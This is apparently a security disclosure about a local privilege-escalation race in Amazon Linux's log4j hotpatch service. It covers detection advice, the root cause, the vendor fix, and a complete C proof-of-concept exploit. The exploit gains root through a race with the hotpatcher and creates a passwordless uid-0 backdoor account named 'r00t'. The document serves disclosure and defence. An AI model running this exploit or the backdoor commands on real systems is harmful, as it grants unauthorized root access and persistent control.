A line indicating the execution of a JVM as UID 0 or any other privileged account may indicate successful exploitation, especially if the host is not expected to be running Java processes as these users.
Looking for strings such as JVM version is Removing password for user r00t is not an effective monitoring strategy as the contents of this line are dependent on the specific exploit.
Finally, an attacker who has exploited this issue and obtained privileged access may have scrubbed the local logs. Shipping logs off the host in real time might be effective in preventing the destruction of evidence needed to identify exploitation.
The flaw described above is due to the fact that the path to the "Java" process' binary is read before its EUID/EGID is extracted. This means that the patching process might take the path to the attacker controlled binary and then read a higher privilege EUID/EGID in the event of a successful attack.
The simplest fix would be to swap the operations, i.e. to read the EUID/EGID of the "Java" process before reading the path to its binary. In such a case, a successful attack would mean that the correct EUID/EGID is taken but an "incorrect" binary path is taken, which does not win the attacker anything of value.
The Amazon Linux team published log4j-cve-2021-44228-hotpatch-1.3-5 which incorporates the recommended fix. It also applies defensive controls to the container-based hotpatch strategy to try to prevent unproven race condition bugs in the application of namespace controls.
Users of Amazon Linux should update to log4j-cve-2021-44228-hotpatch-1.3-5. If you're sure that you don't need the hotpatch service (e.g. you have patched log4j or do not use it in your Java applications), using the above mitigation to disable the hotpatch service would reduce local attack surface.
Warning: I don't normally write C, here be dragons
% cat amazon-log4j-hotpatch-eop.c
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <stdio.h>
#define FN_SUCCESS "/tmp/hotpatch.esc.success"
#define FN_GO "/tmp/hotpatch.esc.go"
#define NUM_WORKERS 32
void nop() {}
int main(int argc, char* argv[]) {
if (getuid() == 0) {
// We got run as uid = root
// w00t
// Grab the lock
int lockfd = open(FN_SUCCESS, O_RDWR | O_CREAT | O_EXCL, 0666);
if (lockfd == -1) {
// Someone else won the race
return 0;
}
fchmod(lockfd, 0666);
// Escalate fully
setresuid(0, 0, 0);
setresgid(0, 0, 0);
// Execute payload
system("id > /win");
// Create backdoor user
system("useradd -o -u 0 -g 0 r00t && passwd -d r00t");
return 0;
}
if (argc > 1) {
if (strcmp(argv[1], "-version") == 0) {
// Something ran -version not as root
// Tell other processes to proceed with setting their uid to 0
int gofd = open(FN_GO, O_RDWR | O_CREAT | O_EXCL, 0666);
if (gofd != -1) {
// Make the file world writable so the unprivileged main loop
// can clean it up in the event of failure to win the race.
fchmod(gofd, 0666);
}
// Our job is done. Good luck to our friends \m/
return 0;
}
if(strcmp(argv[1], "-worker") == 0) {
// Make ourselves appear patchable to the hotpatch service
signal(SIGQUIT, nop);
printf("Worker pid=%d waiting for %s to appear\n", getpid(), FN_GO);
for (;;) {
// Wait for FN_GO to appear
if (access(FN_GO, F_OK) == 0) {
puts("Worker: It arrived");
break;
}
// It hasn't arrived. Sleep for 10ms.
usleep(10*1000);
}
// The hotpatcher is making its way through the java processes
// Jitter
usleep((int)getpid() % 100 * 1000);
// Become euid=0 by exec'ing a setuid binary
char *args[] = {"crontab", "-e", NULL};
char *envs[] = {"EDITOR=sleep 0.1 #", NULL};
execve("/usr/bin/crontab", args, envs);
}
printf("Unknown option: %s\n", argv[1]);
return -1;
}
// Main loop
for (;;) {
printf("Main loop: Spawning %d workers\n", NUM_WORKERS);
for (int i=0; i < NUM_WORKERS; i++) {
int pid = fork();
if (pid == 0) {
execl("/proc/self/exe", "java", "-worker", NULL);
return 0;
}
}
printf("Main loop: Waiting for %s to appear\n", FN_GO);
for (;;) {
if (access(FN_GO, F_OK) == 0) {
break;
}
sleep(1);
}
// Wait for all children
for (int i=0; i < NUM_WORKERS; i++) {
wait(NULL);
}
// Delete FN_GO
unlink(FN_GO);
// If FN_SUCCESS exists, stop looping
if (access(FN_SUCCESS, F_OK) == 0) {
puts("EoP successful. Check /win and enjoy r00t :)");
break;
}
}
return 0;
}